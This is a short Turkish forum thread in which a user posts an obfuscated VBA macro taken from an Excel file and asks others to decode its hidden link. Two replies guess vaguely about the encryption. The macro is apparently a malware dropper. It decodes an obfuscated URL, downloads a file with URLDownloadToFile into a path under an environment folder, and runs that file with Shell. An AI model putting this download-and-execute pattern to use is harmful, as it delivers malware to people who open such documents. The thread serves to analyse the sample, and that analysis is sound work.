1. Duyuruyu Kapat

Şifremeyi çözmek(Yardım)

'Off Topic' forumunda MeTaL tarafından 24 Eylül 2016 tarihinde açılan konu

  1. MeTaL

    MeTaL New Member

    Katılım:
    13 Haziran 2016
    Mesaj:
    35
    Beğeniler:
    0
    Ödül Puanları:
    0
    Arkadaşlar merhaba. VBA formatında bir excel dosyası içinden çıkarttım bunu macro haline getirilmiş. Kodu çözebilecek kimse varmı aramızda "HLIY3Nf3z2k8jD37h1n2OM3N712DGQ3c5M841RZ8C5e6P1C50C4ym1oF504WyV182p4mJ16cK9Z61l47h2dU1rVB5V681sFY728i16H3E2Qm1fn47y2cgAo156j8T1s600hukKO1568X1xE4Z7d2q17jvcwgk816Yz32o9Q216Mpr0B01vcwg856a17b9j2zAmWf1536B1t7d92rI1FZ5E36Pu1jl504Z34tm2R43i55Lg2F3eLE3T28lLX1D504348Goe8Gbdp37w443ADy36X0h14g7Wb2G3u584kEG332Ut8ws3wO584pzSTf"), Environ(iojlO6O("C3iY1epSRGe6q8g15xStVesdG717MAlg2H4hmV1vkL6Glnf0cknj" Bu kısımda %100 link bulunmakta.

    Sub YTH()
    wm6Cn4I iojlO6O("HLIY3Nf3z2k8jD37h1n2OM3N712DGQ3c5M841RZ8C5e6P1C50C4ym1oF504WyV182p4mJ16cK9Z61l47h2dU1rVB5V681sFY728i16H3E2Qm1fn47y2cgAo156j8T1s600hukKO1568X1xE4Z7d2q17jvcwgk816Yz32o9Q216Mpr0B01vcwg856a17b9j2zAmWf1536B1t7d92rI1FZ5E36Pu1jl504Z34tm2R43i55Lg2F3eLE3T28lLX1D504348Goe8Gbdp37w443ADy36X0h14g7Wb2G3u584kEG332Ut8ws3wO584pzSTf"), Environ(iojlO6O("C3iY1epSRGe6q8g15xStVesdG717MAlg2H4hmV1vkL6Glnf0cknj")) & iojlO6O("YNPH1W47E211z3P6142cM4115K2J1696CURf1712N1OCJwc0w6Z16840Z1r600W16Z3273k6SR16Bf161Q92a016Vr16V1pc")
    End Sub
    Function wm6Cn4I(iGHVHJfdg As String, oH77vHsdf As String) As Boolean
    vJHKBJdfkgfg = URLDownloadToFile(0&, iGHVHJfdg, oH77vHsdf, 0&, 0&)
    Dim OUOQsP4IpX As Integer
    OUOQsP4IpX = 3
    Do While OUOQsP4IpX < 3 + 3
    OUOQsP4IpX = OUOQsP4IpX + 7: DoEvents
    Loop
    Dim pHJdfgfdgf
    Dim f6aKcI As Integer
    f6aKcI = 6
    Do While f6aKcI < 6 + 3
    f6aKcI = f6aKcI + 8: DoEvents
    Loop
    pHJdfgfdgf = Shell(oH77vHsdf, 1)
    Dim kjZ4A As Integer
    kjZ4A = 6
    Do While kjZ4A < 6 + 4
    kjZ4A = kjZ4A + 6: DoEvents
    Loop
    End Function
     
  2. shadowwalker23

    shadowwalker23 New Member

    Katılım:
    9 Eylül 2016
    Mesaj:
    12
    Beğeniler:
    0
    Ödül Puanları:
    1
    Biraz inceledim. Benim anladığım kadarıyla dosya bir program tarafından şifrelenmiş. Şifreleme yapılırken programı yazan kişinin belirlediği özel metodlar kullanılmış ve tek bi şifreleme türü yerine birkaç şifreleme türünü aynı anda kullanmış. Böylece çözülmesi zorlaştırılmış. Ama hangi şifreleme türlerini ve tekniklerini kullandığını anlamak için bu dosyayı şifreleyen programın kaynak dosyalarını incelemek gerekiyor.
     
  3. shadowwalker23

    shadowwalker23 New Member

    Katılım:
    9 Eylül 2016
    Mesaj:
    12
    Beğeniler:
    0
    Ödül Puanları:
    1
    Dosyayı bi şekilde visual basic ile açabilirsen ya da enjekte edebilirsen görebilirsin orjinal halini diye düşünüyorum.
     

Bu Sayfayı Paylaş

Share